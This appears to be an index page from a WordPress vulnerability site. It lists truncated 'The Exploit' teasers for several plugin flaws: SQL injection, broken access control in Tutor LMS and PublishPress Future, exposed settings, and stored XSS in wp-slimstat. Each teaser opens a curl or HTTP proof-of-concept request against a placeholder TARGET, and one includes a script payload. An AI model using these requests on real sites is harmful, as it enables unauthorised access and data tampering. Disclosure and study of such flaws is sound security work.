## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit Unauthenticated attackers can abuse the plugin's public query endpoint by sending a specially crafted `order` payload to force a blind SQL injection. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: TARGET Content-Type:...
Read article →## The Exploit An authenticated attacker with Contributor-level access can invoke the plugin’s bulk duplicate action directly and clone arbitrary posts/pages. ```bash curl -i -sS -X POST "https://TARGET/wp-admin/edit.php?post_type=page" \...
Read article →## The Exploit An unauthenticated attacker can read the plugin settings JSON directly. ```bash curl -i -H "Accept: application/json" \ http://target.example/wp-json/wp/v2/docs/settings ``` The request returns HTTP 200 and a JSON body c...
Read article →## The Exploit An authenticated Contributor can hit PublishPress Future’s REST workflow API without the workflow-specific nonce or a strong permission check. ```bash curl -i -X POST 'https://TARGET/wp-json/publishpress-future/v1/workflows...
Read article →## The Exploit Unauthenticated attacker. ```bash curl -i -s -X POST "https://TARGET/wp-admin/admin.php?page=wp-slimstat-reports" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-raw "notes=<script>alert('CVE-2025-15055'...
Read article →## The Exploit Authenticated subscriber-level users can abuse Tutor LMS coupon management endpoints without needing administrator privileges. ```bash curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Cookie: wordpress_logge...
Read article →## The Exploit Attacker needs authenticated contributor-or-above access to WordPress. ```bash curl -k -X POST "https://TARGET/wp-admin/post.php?post=123&action=edit" \ -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" \ -H "Con...
Read article →## The Exploit A subscriber-level authenticated user can enroll themselves in any paid course by invoking the Tutor LMS AJAX handler directly. ```bash curl 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-f...
Read article →## The Exploit Authenticated subscriber-level users can directly call Tutor LMS's course completion AJAX handler and mark any course complete. ```bash curl 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-f...
Read article →